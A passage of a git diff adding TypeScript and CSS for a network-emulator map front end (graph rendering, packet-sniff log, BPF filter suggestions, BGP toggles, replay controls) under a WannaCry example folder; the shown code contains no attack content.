+} + +.filter-panel .suggestions .suggestion:hover:not(.active) { + background-color: #eee; +} + +.log-panel { + font-family: 'Courier New', Courier, monospace; + bottom: 10px; + left: 10px; + width: calc(100vw - 20px); +} + +.log-panel.bump { + bottom: 35px; +} + +.log-wrap.minimized { + display: none; +} + +.replay-panel { + top: 85px; + right: 10px; + width: 300px; + height: 133px; +} + +.info-plate-panel { + font-family: 'Courier New', Courier, monospace; + top: 225px; + right: 10px; + min-width: 300px; +} + +.info-plate, .replay-plate { + padding: .25em; + font-size: .85em; +} + +.replay-plate div { + margin-bottom: 5px; +} + +#replay-seek { + width: 100%; +} + +.info-plate .title { + font-size: 1.15rem; + font-weight: bold; + padding-left: .35em; + border-left: 5px solid #333; + margin-bottom: .25em; +} + +.info-plate .description { + margin-bottom: .25em; + margin-top: .5em; + max-width: 340px; +} + +.info-plate.loading .title { + border-left: 5px solid #999; +} + +.info-plate .section .title { + font-size: 1rem; + border-left: none; + margin-bottom: 0; + padding-left: 0; +} + +.info-plate .label { + font-weight: bold; +} + +.info-plate .inline-action-link { + padding-left: .5em; +} + +.info-plate .action-link { + display: block; +} + +.info-plate .label:after { + content: ':'; + padding-right: .5em; +} + +.info-plate .section { + margin-top: .8em; +} + +.info-plate .caption { + color: #666; +} + +.info-plate.loading, +.info-plate.loading a, +.info-plate.loading a:visited, +.info-plate.loading a:hover { + background-color: #ddd !important; + color: #999 !important; +} + +.log { + width: 100%; + max-height: 180px; + overflow-y: scroll; +} + +a, a:visited, a:hover { + color: #000 !important; /* overwrites bootstrap */ + text-decoration: underline !important; /* overwrites bootstrap */ +} + +label { + margin-bottom: 0 !important; /* overwrites bootstrap */ +} + +.log th { + background-color: #ccc; + text-align: left; + position: -webkit-sticky; + position: sticky; + top: 0; +} + +.log tr:hover { + background-color: #eee; +} + +.filter-wrap.error, .filter.error { + color: red; + border-color: red; +} + +.input-wrap.disabled, .input.disabled { + background-color: #ccc; +} + +#multiplier { + width: 200px; +} + +#current-multiplier::after { + content: 'x'; +} \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/map/datasource.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/datasource.ts new file mode 100644 index 000000000..62129fd09 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/datasource.ts @@ -0,0 +1,307 @@ +import { EdgeOptions, NodeOptions } from 'vis-network'; +import { BgpPeer, EmulatorNetwork, EmulatorNode } from '../common/types'; + +export type DataEvent = 'packet' | 'dead'; + +export interface Vertex extends NodeOptions { + id: string; + label: string; + group?: string; + shape?: string; + type: 'node' | 'network'; + object: EmulatorNode | EmulatorNetwork; +} + +export interface Edge extends EdgeOptions { + id?: undefined; + from: string; + to: string; + label?: string; +} + +export interface ApiRespond { + ok: boolean; + result: ResultType; +} + +export interface FilterRespond { + currentFilter: string; +} + +export class DataSource { + private _apiBase: string; + private _nodes: EmulatorNode[]; + private _nets: EmulatorNetwork[]; + + private _wsProtocol: string; + private _socket: WebSocket; + + private _connected: boolean; + + private _packetEventHandler: (nodeId: string) => void; + private _errorHandler: (error: any) => void; + + /** + * construct new data provider. + * + * @param apiBase api base url. + * @param wsProtocol websocket protocol (ws/wss), default to ws. + */ + constructor(apiBase: string, wsProtocol: string = 'ws') { + this._apiBase = apiBase; + this._wsProtocol = wsProtocol; + this._nodes = []; + this._nets = []; + this._connected = false; + } + + /** + * load data from api. + * + * @param method http method. + * @param url target url. + * @param body (optional) request body. + * @returns api respond object. + */ + private async _load(method: string, url: string, body: string = undefined): Promise> { + let xhr = new XMLHttpRequest(); + + xhr.open(method, url); + + if (method == 'POST') { + xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); + } + + return new Promise((resolve, reject) => { + xhr.onload = function () { + if (this.status != 200) { + reject({ + ok: false, + result: 'non-200 response from API.' + }); + + return; + } + + var res = JSON.parse(xhr.response); + + if (res.ok) { + resolve(res); + } else { + reject(res); + } + }; + + xhr.onerror = function () { + reject({ + ok: false, + result: 'xhr failed.' + }); + } + + xhr.send(body); + }) + } + + /** + * connect to api: start listening sniffer socket, load nodes/nets list. + * call again when connected to reload nodes/nets. + */ + async connect() { + this._nodes = (await this._load('GET', `${this._apiBase}/container`)).result; + this._nets = (await this._load('GET', `${this._apiBase}/network`)).result; + + if (this._connected) { + return; + } + + this._socket = new WebSocket(`${this._wsProtocol}://${location.host}${this._apiBase}/sniff`); + this._socket.addEventListener('message', (ev) => { + let msg = ev.data.toString(); + + let object = JSON.parse(msg); + if (this._packetEventHandler) { + this._packetEventHandler(object); + } + }); + + this._socket.addEventListener('error', (ev) => { + if (this._errorHandler) { + this._errorHandler(ev); + } + }); + + this._socket.addEventListener('close', (ev) => { + if (this._errorHandler) { + this._errorHandler(ev); + } + }); + + this._connected = true; + } + + /** + * disconnect sniff socket. + */ + disconnect() { + this._connected = false; + this._socket.close(); + } + + /** + * get current sniff filter expression. + * + * @returns filter expression. + */ + async getSniffFilter(): Promise { + return (await this._load('GET', `${this._apiBase}/sniff`)).result.currentFilter; + } + + /** + * set sniff filter expression. + * + * @param filter filter expression. + * @returns updated filter expression. + */ + async setSniffFilter(filter: string): Promise { + return (await this._load('POST', `${this._apiBase}/sniff`, JSON.stringify({ filter }))).result.currentFilter; + } + + /** + * get list of bgp peers of the given node. + * + * @param node node id. must be node with router role. + * @returns list of peers. + */ + async getBgpPeers(node: string): Promise { + return (await this._load('GET', `${this._apiBase}/container/${node}/bgp`)).result; + } + + /** + * set bgp peer state. + * + * @param node node id. must be node with router role. + * @param peer peer name. + * @param up protocol state, true = up, false = down. + */ + async setBgpPeers(node: string, peer: string, up: boolean) { + await this._load('POST', `${this._apiBase}/container/${node}/bgp/${peer}`, JSON.stringify({ status: up })); + } + + /** + * get network state of the given node. + * + * @param node node id. + * @returns true if up, false if down. + */ + async getNetworkStatus(node: string): Promise { + return (await this._load('GET', `${this._apiBase}/container/${node}/net`)).result; + } + + /** + * set network state of the given node. + * + * @param node node id. + * @param up true if up, false if down. + */ + async setNetworkStatus(node: string, up: boolean) { + await this._load('POST', `${this._apiBase}/container/${node}/net`, JSON.stringify({ status: up })); + } + + /** + * event handler register. + * + * @param eventName event to listen. + * @param callback callback. + */ + on(eventName: DataEvent, callback?: (data: any) => void) { + switch(eventName) { + case 'packet': + this._packetEventHandler = callback; + break; + case 'dead': + this._errorHandler = callback; + } + } + + get edges(): Edge[] { + var edges: Edge[] = []; + + this._nodes.forEach(node => { + let nets = node.NetworkSettings.Networks; + Object.keys(nets).forEach(key => { + let net = nets[key]; + var label = ''; + + node.meta.emulatorInfo.nets.forEach(emunet => { + // fixme + if (key.includes(emunet.name)) { + label = emunet.address; + } + }); + + edges.push({ + from: node.Id, + to: net.NetworkID, + label + }); + }) + }) + + return edges; + } + + get vertices(): Vertex[] { + var vertices: Vertex[] = []; + + this._nets.forEach(net => { + var netInfo = net.meta.emulatorInfo; + var vertex: Vertex = { + id: net.Id, + label: netInfo.displayname ?? `${netInfo.scope}/${netInfo.name}`, + type: 'network', + shape: netInfo.type == 'global' ? 'star' : 'diamond', + object: net + }; + + if (netInfo.type == 'local') { + vertex.group = netInfo.scope; + } + + vertices.push(vertex); + }); + + this._nodes.forEach(node => { + var nodeInfo = node.meta.emulatorInfo; + var vertex: Vertex = { + id: node.Id, + label: nodeInfo.displayname ?? `${nodeInfo.asn}/${nodeInfo.name}`, + type: 'node', + shape: nodeInfo.role == 'Router' ? 'dot' : 'hexagon', + object: node + }; + + if (nodeInfo.role != 'Route Server') { + vertex.group = nodeInfo.asn.toString(); + } + + vertices.push(vertex); + }); + + return vertices; + } + + get groups(): Set { + var groups = new Set(); + + this._nets.forEach(net => { + groups.add(net.meta.emulatorInfo.scope); + }); + + this._nodes.forEach(node => { + groups.add(node.meta.emulatorInfo.asn.toString()); + }) + + return groups; + } +} \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/map/map.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/map.ts new file mode 100644 index 000000000..390e273bb --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/map.ts @@ -0,0 +1,48 @@ +import './css/map.css'; +import '../common/css/window-manager.css'; +import 'bootstrap/dist/css/bootstrap.min.css'; + +import { DataSource } from './datasource'; +import { MapUi } from './ui'; +import { Configuration } from '../common/configuration'; + +const datasource = new DataSource(Configuration.ApiPath); +const mapUi = new MapUi({ + datasource, + mapElementId: 'map', + infoPlateElementId: 'info-plate', + filterInputElementId: 'filter', + filterWrapElementId: 'filter-wrap', + logPanelElementId: 'log-panel', + logBodyElementId: 'log-body', + logViewportElementId: 'log-viewport', + logWrapElementId: 'log-wrap', + logControls: { + autoscrollCheckboxElementId: 'log-autoscroll', + clearButtonElementId: 'log-clear', + disableCheckboxElementId: 'log-disable', + minimizeToggleElementId: 'log-panel-toggle', + minimizeChevronElementId: 'log-toggle-chevron' + }, + filterControls: { + filterModeTabElementId: 'tab-filter-mode', + nodeSearchModeTabElementId: 'tab-node-search-mode', + suggestionsElementId: 'filter-suggestions' + }, + replayControls: { + recordButtonElementId: 'replay-record', + replayButtonElementId: 'replay-replay', + stopButtonElementId: 'replay-stop', + forwardButtonElementId: 'replay-forward', + backwardButtonElementId: 'replay-backward', + seekBarElementId: 'replay-seek', + intervalElementId: 'replay-interval', + statusElementId: 'replay-status' + }, + windowManager: { + desktopElementId: 'console-area', + taskbarElementId: 'taskbar' + } +}); + +mapUi.start(); \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/src/map/ui.ts b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/ui.ts new file mode 100644 index 000000000..506a7ad6f --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/src/map/ui.ts @@ -0,0 +1,1342 @@ +import { DataSet } from 'vis-data'; +import { Network } from 'vis-network'; +import { bpfCompletionTree } from '../common/bpf'; +import { Completion } from '../common/completion'; +import { EmulatorNetwork, EmulatorNode } from '../common/types'; +import { WindowManager } from '../common/window-manager'; +import { DataSource, Edge, Vertex } from './datasource'; + +/** + * map UI element bindings. + */ +export interface MapUiConfiguration { + datasource: DataSource, // data provider + mapElementId: string, // element id of the map + infoPlateElementId: string, // element id of the info plate + filterInputElementId: string, // element id of the filter/search text input + filterWrapElementId: string, // element id of the filter/search text input wrapper + logBodyElementId: string, // element id of the log body (the tbody) + logPanelElementId: string, // element id of the log panel + logViewportElementId: string, // element id of the log viewport (the table wrapper w/ overflow scroll) + logWrapElementId: string, // element id of the log wrap (hidden when minimized) + logControls: { // controls for log + clearButtonElementId: string, // element id of log clear button + autoscrollCheckboxElementId: string, // element id of autoscroll checkbox + disableCheckboxElementId: string, // element id of log disable checkbox + minimizeToggleElementId: string, // element id of log minimize/unminimize toggle + minimizeChevronElementId: string // element id of the chevron icon of the log minimize/unminimize toggle + }, + filterControls: { // filter controls + filterModeTabElementId: string, // element id of tab for setting mode to filter + nodeSearchModeTabElementId: string, // element id of tab for setting mode to search + suggestionsElementId: string // element id of search suggestions + }, + replayControls: { // replay controls + recordButtonElementId: string, // element id of record button + replayButtonElementId: string, // element id of replay button + stopButtonElementId: string, // element id of stop button + backwardButtonElementId: string, // element id of backward button + forwardButtonElementId: string, // element id of forward button + seekBarElementId: string, // element id of seek bar + intervalElementId: string, // element id of interval input + statusElementId: string // element id of status + }, + windowManager: { // console window manager + desktopElementId: string, // elementid for desktop + taskbarElementId: string // elementid for taskbar + } +} + +type FilterMode = 'node-search' | 'filter'; + +type SuggestionSelectionAction = 'up' | 'down' | 'clear'; + +interface Event { + lines: string[], + source: string +}; + +interface PlaylistItem { + nodes: string[], + at: number +}; + +/** + * map UI controller. + */ +export class MapUi { + private _mapElement: HTMLElement; + private _infoPlateElement: HTMLElement; + private _filterInput: HTMLInputElement; + private _filterWrap: HTMLElement; + + private _logPanel: HTMLElement; + private _logView: HTMLElement; + private _logWrap: HTMLElement; + private _logBody: HTMLElement; + private _logAutoscroll: HTMLInputElement; + private _logDisable: HTMLInputElement; + private _logClear: HTMLElement; + + private _filterModeTab: HTMLElement; + private _searchModeTab: HTMLElement; + private _suggestions: HTMLElement; + + private _logToggle: HTMLElement; + private _logToggleChevron: HTMLElement; + + private _replayButton: HTMLButtonElement; + private _recordButton: HTMLButtonElement; + private _forwardButton: HTMLButtonElement; + private _backwardButton: HTMLButtonElement; + private _stopButton: HTMLButtonElement; + private _replaySeekBar: HTMLInputElement; + private _interval: HTMLInputElement; + private _replayStatusText: HTMLElement; + + private _datasource: DataSource; + + private _nodes: DataSet; + private _edges: DataSet; + private _graph: Network; + + /** list of log elements to be rendered to log body */ + private _logQueue: HTMLElement[]; + + /** set of vertex ids scheduled for flashing */ + private _flashQueue: Set; + /** set of vertex ids scheduled for un-flash */ + private _flashingNodes: Set; + + private _logPrinter: number; + private _flasher: number; + + private _macMapping: { [mac: string]: string }; + + private _filterMode: FilterMode; + + /** set of vertex ids for nodes/nets currently being highlighted by search */ + private _searchHighlightNodes: Set; + + private _lastSearchTerm: string; + + /** window manager for consoles. */ + private _windowManager: WindowManager; + + /** completion provider for bpf expressions. */ + private _bpfCompletion: Completion; + + /** current (or last selected, if none is selected now) vertex. */ + private _curretNode: Vertex; + + /** current suggestion item selection. */ + private _suggestionsSelection: number; + + /** + * ignore next keyup event. (set to true when event is already handled in + * keydown.) + */ + private _ignoreKeyUp: boolean; + + private _logMinimized: boolean; + + private _events: Event[]; + private _playlist: PlaylistItem[]; + private _replayStatus: 'stopped' | 'playing' | 'paused'; + private _recording: boolean; + private _replayTask: number; + private _replayPos: number; + private _seeking: boolean; + + /** + * Build a new map UI controller. + * + * @param config element bindings. + */ + constructor(config: MapUiConfiguration) { + this._datasource = config.datasource; + this._mapElement = document.getElementById(config.mapElementId); + this._infoPlateElement = document.getElementById(config.infoPlateElementId); + this._filterInput = document.getElementById(config.filterInputElementId) as HTMLInputElement; + this._filterWrap = document.getElementById(config.filterWrapElementId); + + this._logPanel = document.getElementById(config.logPanelElementId); + this._logView = document.getElementById(config.logViewportElementId); + this._logWrap = document.getElementById(config.logWrapElementId); + this._logBody = document.getElementById(config.logBodyElementId); + this._logAutoscroll = document.getElementById(config.logControls.autoscrollCheckboxElementId) as HTMLInputElement; + this._logDisable = document.getElementById(config.logControls.disableCheckboxElementId) as HTMLInputElement; + this._logClear = document.getElementById(config.logControls.clearButtonElementId); + + this._filterModeTab = document.getElementById(config.filterControls.filterModeTabElementId); + this._searchModeTab = document.getElementById(config.filterControls.nodeSearchModeTabElementId); + this._suggestions = document.getElementById(config.filterControls.suggestionsElementId); + + this._logToggle = document.getElementById(config.logControls.minimizeToggleElementId); + this._logToggleChevron = document.getElementById(config.logControls.minimizeChevronElementId); + + this._replayButton = document.getElementById(config.replayControls.replayButtonElementId) as HTMLButtonElement; + this._recordButton = document.getElementById(config.replayControls.recordButtonElementId) as HTMLButtonElement; + this._stopButton = document.getElementById(config.replayControls.stopButtonElementId) as HTMLButtonElement; + this._forwardButton = document.getElementById(config.replayControls.forwardButtonElementId) as HTMLButtonElement; + this._backwardButton = document.getElementById(config.replayControls.backwardButtonElementId) as HTMLButtonElement; + this._replaySeekBar = document.getElementById(config.replayControls.seekBarElementId) as HTMLInputElement; + this._interval = document.getElementById(config.replayControls.intervalElementId) as HTMLInputElement; + this._replayStatusText = document.getElementById(config.replayControls.statusElementId); + + this._logMinimized = true; + + this._replayStatus = 'stopped'; + this._events = []; + this._recording = false; + this._seeking = false; + this._playlist = []; + + this._suggestionsSelection = -1; + + this._logQueue = []; + + this._flashQueue = new Set(); + this._flashingNodes = new Set(); + + this._searchHighlightNodes = new Set(); + + this._macMapping = {}; + + this._filterMode = 'filter'; + this._lastSearchTerm = ''; + + this._windowManager = new WindowManager(config.windowManager.desktopElementId, config.windowManager.taskbarElementId); + + this._bpfCompletion = new Completion(bpfCompletionTree); + + this._replayButton.onclick = () => { + this._replayPlayPause(); + }; + + this._stopButton.onclick = () => { + this._replayStop(); + }; + + this._recordButton.onclick = () => { + this._recordStartStop(); + }; + + this._forwardButton.onclick = () => { + this._replaySeek(1); + }; + + this._backwardButton.onclick = () => { + this._replaySeek(-1); + }; + + this._replaySeekBar.onchange = () => { + this._replaySeek(Number.parseInt(this._replaySeekBar.value), true); + }; + + this._replaySeekBar.onmousedown = () => { + this._seeking = true; + }; + + this._replaySeekBar.onmouseup = () => { + this._seeking = false; + }; + + this._logToggle.onclick = () => { + if (this._logMinimized) { + this._logWrap.classList.remove('minimized'); + this._logToggleChevron.className = 'bi bi-chevron-down'; + } else { + this._logWrap.classList.add('minimized'); + this._logToggleChevron.className = 'bi bi-chevron-up'; + } + + this._logMinimized = !this._logMinimized; + }; + + this._filterInput.onkeydown = (event) => { + if (event.key == 'ArrowUp') { + this._moveSuggestionSelection('up'); + this._ignoreKeyUp = true; + + return false; + } + + if (event.key == 'ArrowDown') { + this._moveSuggestionSelection('down'); + this._ignoreKeyUp = true; + + return false; + } + + if (event.key == 'Tab' && this._suggestionsSelection == -1) { + this._ignoreKeyUp = true; + + if (this._suggestions.children.length > 0) { + (this._suggestions.children[0] as HTMLElement).click(); + } + + return false; + } + + if ((event.key == 'Enter' || event.key == 'Tab') && this._suggestionsSelection != -1) { + (this._suggestions.children[this._suggestionsSelection] as HTMLElement).click(); + this._ignoreKeyUp = true; + + return false; + } + + this._ignoreKeyUp = false; + }; + + this._filterInput.onkeyup = (event) => { + if (this._ignoreKeyUp) { + return; // fixme: preventDefault / stopPropagation does not work? + } + + this._filterUpdateHandler(event); + }; + + this._searchModeTab.onclick = () => { + this._setFilterMode('node-search'); + }; + + this._filterModeTab.onclick = () => { + this._setFilterMode('filter'); + }; + + this._logClear.onclick = () => { + this._logBody.innerText = ''; + this._events = []; + }; + + this._filterInput.onclick = () => { + this._updateFilterSuggestions(this._filterInput.value); + }; + + this._windowManager.on('taskbarchanges', (shown: boolean) => { + if (shown) { + this._logPanel.classList.add('bump'); + } else { + this._logPanel.classList.remove('bump'); + } + }); + + this._datasource.on('dead', (error) => { + let restart = window.confirm('It seems like the backend for seedemu-client has crashed. You should refresh this page to get the connection to the backend re-established.\n\nRefreshing will close all console windows and redraw the map. Use "Ok" to refresh or "cancel" to stay on this page.'); + if (restart) { + window.location.reload(); + } + }); + + this._datasource.on('packet', (data) => { + // bad data? + if (!data.source || !data.data) { + return; + } + + // replaying? + if (this._replayStatus !== 'stopped') { + return; + } + + let flashed = new Set(); + + // find network with matching mac address and flash the network too. + // networks objects are never the source, as network cannot run + // tcpdump on its own. + Object.keys(this._macMapping).forEach(mac => { + if (data.data.includes(mac) && !flashed.has(mac)) { + flashed.add(mac); + let nodeId = this._macMapping[mac]; + + if (this._nodes.get(nodeId) === null) { + return; + } + + this._flashQueue.add(nodeId); + } + }); + + // at least one mac address matching a net is found, flash the node. + // note: when no matching net is found, the "packet" may not be a + // packet, but output from tcpdump. + if (flashed.size > 0) { + this._flashQueue.add(data.source); + } + + let now = new Date(); + let lines: string[] = data.data.split('\r\n').filter(line => line !== ''); + + if (lines.length > 0 && this._recording) { + this._events.push({ lines: lines, source: data.source }); + } + + // tcpdump output: "listening on xxx", meaning tcpdump is running + // and the last expressions does not contain error. + if (data.data.includes('listening')) { + this._filterInput.classList.remove('error'); + this._filterWrap.classList.remove('error'); + } + + // tcpdump output: "error", meaning tcpdump don't like the last + // expression + if (data.data.includes('error')) { + this._filterInput.classList.add('error'); + this._filterWrap.classList.add('error'); + } + + if (this._logDisable.checked) { + return; + } + + let node = this._nodes.get(data.source as string); + + let timeString = `${now.getHours()}:${now.getMinutes()}:${now.getSeconds()}.${now.getMilliseconds()}`; + + let tr = document.createElement('tr'); + + let td0 = document.createElement('td'); + let td1 = document.createElement('td'); + let td2 = document.createElement('td'); + + td0.innerText = timeString; + + let a = document.createElement('a'); + + a.href = '#'; + a.innerText = node.label; + a.onclick = () => { + this._focusNode(node.id); + }; + + td1.appendChild(a); + + td2.innerText = data.data; + + tr.appendChild(td0); + tr.appendChild(td1); + tr.appendChild(td2); + + this._logQueue.push(tr); + }); + } + + /** + * get a random color. + * + * @returns hsl color string. + */ + private _randomColor(): string { + return `hsl(${Math.random() * 360}, 100%, 75%)`; + } + + /** + * update highlighed nodes on the map. will auto un-highligh previously + * highlighted nodes. + * + * @param highlights set of vertex ids to highlight. + */ + private _updateSearchHighlights(highlights: Set) { + var newHighlights = new Set(); + var unHighlighted = new Set(); + + highlights.forEach(n => { + if (!this._searchHighlightNodes.has(n)) { + newHighlights.add(n); + } + }); + + this._searchHighlightNodes.forEach(n => { + if (!highlights.has(n)) { + unHighlighted.add(n); + } + }); + + unHighlighted.forEach(n => { + this._searchHighlightNodes.delete(n); + }); + + newHighlights.forEach(n => { + this._searchHighlightNodes.add(n); + }); + + var updateRequest = []; + + newHighlights.forEach(n => { + updateRequest.push({ + id: n, borderWidth: 4 + }); + }); + + unHighlighted.forEach(n => { + updateRequest.push({ + id: n, borderWidth: 1 + }); + }); + + this._nodes.update(updateRequest); + } + + /** + * flash all nodes in the flash queue and schedule un-flash. + */ + private _flashNodes() { + // during replay, do not flash nodes - they are controlled by the replayer. + if (this._replayStatus !== 'stopped') { + return; + } + + if (this._flashingNodes.size != 0) { + // some nodes still flashing; wait for next time + return; + } + + this._flashingNodes = new Set(this._flashQueue); + this._flashQueue.clear(); + + if (this._filterMode == 'node-search') { + // in node search mode, don't flash. + this._flashingNodes.clear(); + return; + } + + let updateRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, borderWidth: 4 + } + }); + + this._nodes.update(updateRequest); + + // schedule un-flash + window.setTimeout(() => { + let updateRequest = Array.from(this._flashingNodes).map(nodeId => { + return { + id: nodeId, borderWidth: 1 + } + }); + + this._nodes.update(updateRequest); + this._flashingNodes.clear(); + }, 300); + } + + private async _focusNode(id: string) { + this._graph.focus(id, { animation: true }); + this._graph.selectNodes([id]); + this._updateInfoPlateWith(id); + } + + /** + * update mode to filter or search. + * + * @param mode new filter mode. + */ + private async _setFilterMode(mode: FilterMode) { + if (mode == this._filterMode) { + return; + } + + this._filterMode = mode; + + this._suggestions.innerText = ''; + this._moveSuggestionSelection('clear'); + + if (mode == 'filter') { + this._updateSearchHighlights(new Set()); // empty search highligths + this._filterInput.value = await this._datasource.getSniffFilter(); + this._filterInput.placeholder = 'Type a BPF expression to animate packet flows on the map...'; + this._filterModeTab.classList.remove('inactive'); + this._searchModeTab.classList.add('inactive'); + } + + if (mode == 'node-search') { + this._filterInput.value = this._lastSearchTerm; + this._filterInput.placeholder = 'Search networks and nodes...'; + this._filterModeTab.classList.add('inactive'); + this._searchModeTab.classList.remove('inactive'); + this._filterUpdateHandler(null, true); + } + } + + /** + * find net or nodes search term. + * + * @param term search term. + * @returns list of stuffs matching the term. + */ + private _findNodes(term: string): Vertex[] { + var hits: Vertex[] = []; + + this._nodes.forEach(node => { + var targetString = ''; + + if (node.type == 'node') { + let nodeObj = (node.object as EmulatorNode); + let nodeInfo = nodeObj.meta.emulatorInfo; + + targetString = `${nodeObj.Id} ${nodeInfo.role} as${nodeInfo.asn} ${nodeInfo.name} ${nodeInfo.displayname ?? ''} ${nodeInfo.description ?? ''}`; + + nodeInfo.nets.forEach(net => { + targetString += `${net.name} ${net.address} `; + }); + } + + if (node.type == 'network') { + let net = (node.object as EmulatorNetwork); + let netInfo = net.meta.emulatorInfo; + + targetString = `${net.Id} as${netInfo.scope} ${netInfo.name} ${netInfo.prefix} ${netInfo.displayname ?? ''} ${netInfo.description ?? ''}`; + } + + if (term != '' && targetString.toLowerCase().includes(term.toLowerCase())) { + hits.push(node); + } + }); + + return hits; + } + + /** + * move filter/search suggestions selection. + * + * @param selection move direction. + */ + private _moveSuggestionSelection(selection: SuggestionSelectionAction) { + let children = this._suggestions.children; + + if (children.length == 0) { + return; + } + + if (selection == 'clear') { + if (children.length == 0) { + return; + } + + this._suggestionsSelection = -1; + Array.from(children).forEach(child => { + child.classList.remove('active'); + }); + + return; + } + + if (selection == 'up') { + if (this._suggestionsSelection <= 0) { + return; + } + + this._suggestionsSelection--; + + children[this._suggestionsSelection + 1].classList.remove('active'); + } + + if (selection == 'down') { + if (this._suggestionsSelection == children.length - 1) { + return; + } + + this._suggestions.focus(); + + this._suggestionsSelection++; + + if (this._suggestionsSelection > 0) { + children[this._suggestionsSelection - 1].classList.remove('active'); + } + } + + let current = children[this._suggestionsSelection]; + current.classList.add('active'); + + let boxRect = this._suggestions.getBoundingClientRect(); + let itemRect = current.getBoundingClientRect(); + + let topOffset = itemRect.top - boxRect.top; + let bottomOffset = itemRect.bottom - boxRect.bottom; + + if (topOffset < 0) { + this._suggestions.scrollBy({top: topOffset - 10, behavior: 'smooth'}); + } + + if (bottomOffset > 0) { + this._suggestions.scrollBy({top: bottomOffset + 10, behavior: 'smooth'}); + } + } + + /** + * update filter/search suggestions. + * + * @param term current search/filter term. + */ + private _updateFilterSuggestions(term: string) { + this._suggestions.innerText = ''; + + if (this._filterMode == 'filter') { + this._bpfCompletion.getCompletion(term).forEach(comp => { + + let item = document.createElement('div'); + item.className = 'suggestion'; + + var title = comp.fulltext; + var fillText = comp.partialword; + + if (this._curretNode) { + if (this._curretNode.type == 'network') { + let prefix = (this._curretNode.object as EmulatorNetwork).meta.emulatorInfo.prefix; + + title = title.replace('', prefix); + fillText = fillText.replace('', prefix); + } + + if (this._curretNode.type == 'node') { + let addresses = (this._curretNode.object as EmulatorNode).meta.emulatorInfo.nets.map(net => net.address.split('/')[0]); + let addressesExpr = addresses.join(' or '); + + if (addresses.length > 1) { + addressesExpr = `(${addressesExpr})`; + } + + title = title.replace('', addressesExpr); + fillText = fillText.replace('', addressesExpr); + } + } + + let name = document.createElement('span'); + name.className = 'name'; + name.innerText = title; + + let details = document.createElement('span'); + details.className = 'details'; + details.innerText = comp.description; + + item.appendChild(name); + item.appendChild(details); + item.onclick = () => { + this._filterInput.value += `${fillText} `; + this._moveSuggestionSelection('clear'); + this._updateFilterSuggestions(this._filterInput.value); + }; + + this._suggestions.appendChild(item); + }); + } + + if (this._filterMode == 'node-search') { + let vertices = this._findNodes(term); + + if (term != '') { + let defaultItem = document.createElement('div'); + defaultItem.className = 'suggestion'; + + let defaultName = document.createElement('span'); + defaultName.className = 'name'; + defaultName.innerText = term; + + let defailtDetails = document.createElement('span'); + defailtDetails.className = 'details'; + defailtDetails.innerText = 'Press enter to show all matches on the map...'; + + defaultItem.onclick = () => { + this._moveSuggestionSelection('clear'); + this._filterUpdateHandler(undefined, true); + }; + + defaultItem.appendChild(defaultName); + defaultItem.appendChild(defailtDetails); + + this._suggestions.appendChild(defaultItem); + } + + vertices.forEach(vertex => { + var itemName = vertex.label; + var itemDetails = ''; + + if (vertex.type == 'node') { + let node = vertex.object as EmulatorNode; + + itemDetails = node.meta.emulatorInfo.nets.map(net => net.address).join(', '); + itemName = `${node.meta.emulatorInfo.role}: ${itemName}`; + } + + if (vertex.type == 'network') { + let net = vertex.object as EmulatorNetwork; + + itemDetails = net.meta.emulatorInfo.prefix; + itemName = `${net.meta.emulatorInfo.type == 'global' ? 'Exchange' : 'Network'}: ${itemName}`; + } + + let item = document.createElement('div'); + item.className = 'suggestion'; + + let name = document.createElement('span'); + name.className = 'name'; + name.innerText = itemName; + + let details = document.createElement('span'); + details.className = 'details'; + details.innerText = itemDetails; + + item.appendChild(name); + item.appendChild(details); + + item.onclick = () => { + this._focusNode(vertex.id); + let set = new Set(); + set.add(vertex.id); + this._updateSearchHighlights(set); + this._suggestions.innerText = ''; + this._moveSuggestionSelection('clear'); + }; + + this._suggestions.appendChild(item); + }); + } + + } + + /** + * commit a filter search. + * + * @param event if triggerd by keydown/keyup event, the event. + * @param forced if not triggerd by keydown/keyup event, set to true. + */ + private async _filterUpdateHandler(event: KeyboardEvent | undefined, forced: boolean = false) { + let term = this._filterInput.value; + + if (((!event || event.key != 'Enter') && !forced)) { + this._moveSuggestionSelection('clear'); + this._suggestions.innerText = ''; + this._updateFilterSuggestions(term); + + return; + } + + this._suggestions.innerText = ''; + + if (this._filterMode == 'filter') { + this._filterInput.value = await this._datasource.setSniffFilter(term); + } + + if (this._filterMode == 'node-search') { + var hits = new Set(); + this._lastSearchTerm = term; + + this._findNodes(term).forEach(node => hits.add(node.id)); + + this._updateSearchHighlights(hits); + } + } + + /** + * create an infoplate label/text field. + * + * @param label label for the pair. + * @param text text for the pair. + * @returns div element of the pair. + */ + private _createInfoPlateValuePair(label: string, text: string): HTMLDivElement { + let div = document.createElement('div'); + + let span0 = document.createElement('span'); + span0.className = 'label'; + span0.innerText = label; + + let span1 = document.createElement('span'); + span1.className = 'text'; + span1.innerText = text; + + div.appendChild(span0); + div.appendChild(span1); + + return div; + } + + /** + * update infoplate with node. + * + * @param nodeId node id for any vertex (can be node or net). + */ + private async _updateInfoPlateWith(nodeId: string) { + let vertex = this._nodes.get(nodeId); + + this._curretNode = vertex; + + let infoPlate = document.createElement('div'); + this._infoPlateElement.classList.add('loading'); + + let title = document.createElement('div'); + title.className = 'title'; + infoPlate.appendChild(title); + + if (vertex.type == 'network') { + let net = vertex.object as EmulatorNetwork; + title.innerText = `${net.meta.emulatorInfo.type == 'global' ? 'Exchange' : 'Network'}: ${vertex.label}`; + + if (net.meta.emulatorInfo.description) { + let div = document.createElement('div'); + div.innerText = net.meta.emulatorInfo.description; + div.classList.add('description'); + + infoPlate.appendChild(div); + } + + infoPlate.appendChild(this._createInfoPlateValuePair('ID', net.Id.substr(0, 12))); + infoPlate.appendChild(this._createInfoPlateValuePair('Name', net.meta.emulatorInfo.name)); + infoPlate.appendChild(this._createInfoPlateValuePair('Scope', net.meta.emulatorInfo.scope)); + 